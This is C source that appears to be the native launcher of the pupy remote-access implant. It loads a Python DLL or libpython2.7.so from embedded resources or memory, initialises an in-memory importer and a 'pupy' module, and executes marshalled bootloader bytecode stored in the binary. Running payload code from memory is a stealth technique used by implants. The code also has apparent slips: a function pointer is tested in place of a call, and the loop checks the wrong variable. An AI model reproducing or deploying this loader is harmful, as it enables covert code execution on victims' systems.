BOOL _LoadPythonDLL(HMODULE hmod)
{
HRSRC hrsrc;
char *pBaseAddress;
int size;
if (!dirname[0])
calc_dirname(hmod);
// Try to locate pythonxy.dll as resource in the exe
hrsrc = FindResource(hmod, MAKEINTRESOURCE(1), PYTHONDLL);
if (hrsrc) {
HGLOBAL hgbl = LoadResource(hmod, hrsrc);
if (!_load_python(PYTHONDLL, LockResource(hgbl))) {
SystemError(GetLastError(), "Could not load python dll");
return FALSE;
}
// dprintf("Loaded pythondll as RESOURCE\n");
return TRUE;
}
// try to load pythonxy.dll as bytes at the start of the zipfile
pBaseAddress = MapExistingFile(libfilename, &size);
if (pBaseAddress) {
int res = 0;
if (0 == strncmp(pBaseAddress, "<pythondll>", 11))
res = _load_python(PYTHONDLL, pBaseAddress + 11 + sizeof(int));
UnmapViewOfFile(pBaseAddress);
if (res) {
// dprintf("Loaded pythondll as <pythondll> from %s\n", libfilename);
return TRUE;
}
}
// try to load pythonxy.dll from the file system
{
char buffer[_MAX_PATH + _MAX_FNAME + _MAX_EXT];
snprintf(buffer, sizeof(buffer), "%s\\%s", dirname, PYTHONDLL);
if (!_load_python(buffer, NULL)) {
SystemError(GetLastError(), "LoadLibrary(pythondll) failed");
SystemError(0, buffer);
return FALSE;
}
// dprintf("Loaded pythondll from file %s\n", buffer);
}
return TRUE;
}
uint32_t mainThread(int argc, char *argv[], bool so) {
int rc = 0;
PyObject *m=NULL, *d=NULL, *seq=NULL;
PyObject *mod;
char * ppath;
FILE * f;
uintptr_t cookie = 0;
PyGILState_STATE restore_state;
if(!Py_IsInitialized) {
int res=0;
if(!_load_python(
"libpython2.7.so",
resources_python27_so_start,
resources_python27_so_size)) {
dprint("loading libpython2.7.so from memory failed\n");
return -1;
}
}
dprint("calling PyEval_InitThreads() ...\n");
PyEval_InitThreads();
dprint("PyEval_InitThreads() called\n");
if(!Py_IsInitialized()) {
dprint("Py_IsInitialized\n");
Py_IgnoreEnvironmentFlag = 1;
Py_NoSiteFlag = 1; /* remove site.py auto import */
dprint("INVOCATION NAME: %s\n", program_invocation_name);
Py_SetProgramName(program_invocation_name);
dprint("Initializing python.. (%p)\n", Py_Initialize);
Py_InitializeEx(0);
dprint("SET ARGV\n");
if (argc > 0) {
if (so) {
if (argc > 2 && !strcmp(argv[1], "--pass-args")) {
argv[1] = argv[0];
PySys_SetArgvEx(argc - 1, argv + 1, 0);
} else {
PySys_SetArgvEx(1, argv, 0);
}
} else {
PySys_SetArgvEx(argc, argv, 0);
}
}
PySys_SetPath(".");
#ifndef DEBUG
PySys_SetObject("frozen", PyBool_FromLong(1));
#endif
dprint("Py_Initialize() complete\n");
}
restore_state=PyGILState_Ensure();
init_memimporter();
dprint("init_memimporter()\n");
initpupy();
dprint("initpupy()\n");
#ifdef _PYZLIB_DYNLOAD
dprint("load zlib\n");
if (!import_module("initzlib", "zlib", resources_zlib_so_start, resources_zlib_so_size)) {
dprint("ZLib load failed.\n");
}
#endif
/* We execute then in the context of '__main__' */
dprint("starting evaluating python code ...\n");
m = PyImport_AddModule("__main__");
if (m) d = PyModule_GetDict(m);
if (d) seq = PyMarshal_ReadObjectFromString(
resources_bootloader_pyc_start,
resources_bootloader_pyc_size
);
if (seq) {
Py_ssize_t i, max = PySequence_Length(seq);
for (i=0;i<max;i++) {
dprint("LOAD SEQUENCE %d\n", i);
PyObject *sub = PySequence_GetItem(seq, i);
if (seq) {
PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
if (!discard) {
dprint("discard\n");
PyErr_Print();
rc = 255;
}
Py_XDECREF(discard);
/* keep going even if we fail */
}
Py_XDECREF(sub);
}
}
dprint("complete ...\n");
PyGILState_Release(restore_state);
Py_Finalize();
dprint("exit ...\n");
return 0;
}
